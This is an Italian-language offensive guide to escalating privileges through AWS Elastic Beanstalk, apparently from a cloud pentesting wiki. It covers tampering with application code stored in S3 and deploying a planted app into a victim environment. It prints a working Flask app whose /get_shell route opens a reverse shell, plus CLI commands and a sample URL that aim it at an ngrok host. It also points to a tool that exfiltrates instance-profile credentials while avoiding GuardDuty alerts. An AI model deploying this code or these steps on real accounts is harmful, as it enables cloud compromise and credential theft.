elasticbeanstalk:RebuildEnvironment, permessi di scrittura su S3 e molti altri

Con permessi di scrittura sul bucket S3 che contiene il code dell'ambiente e permessi per ricostruire l'applicazione (sono necessari elasticbeanstalk:RebuildEnvironment e alcuni altri relativi a S3, EC2 e Cloudformation), puoi modificare il code, ricostruire l'app e, la volta successiva che accedi all'app, questa eseguirà il tuo nuovo code, permettendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM associate.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip

# Upload code

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, and more...

Quelle citate, insieme a diverse autorizzazioni S3, EC2, cloudformation ,autoscaling e elasticloadbalancing, sono necessarie per creare da zero uno scenario Elastic Beanstalk.

• Crea un'applicazione AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp

• Crea un ambiente AWS Elastic Beanstalk (supported platforms):

aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Se un ambiente è già stato creato e non vuoi crearne uno nuovo, puoi semplicemente aggiornare quello esistente.

• Comprimi il codice della tua applicazione e le dipendenze in un file ZIP:

zip -r MyApp.zip .

• Carica il file ZIP in un bucket S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip

• Crea una AWS Elastic Beanstalk application version:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"

• Distribuisci la versione dell'applicazione nel tuo ambiente AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Per prima cosa devi creare un legit Beanstalk environment con il code che vorresti eseguire sulla victim seguendo i previous steps. Potenzialmente un semplice zip contenente questi 2 file:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Una volta che hai il tuo Beanstalk env in esecuzione con la tua rev shell, è il momento di migrarla nell'env della vittima. Per farlo devi aggiornare la Bucket Policy del tuo bucket beanstalk S3 in modo che la vittima possa accedervi (Nota che questo aprirà il Bucket a TUTTI):

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
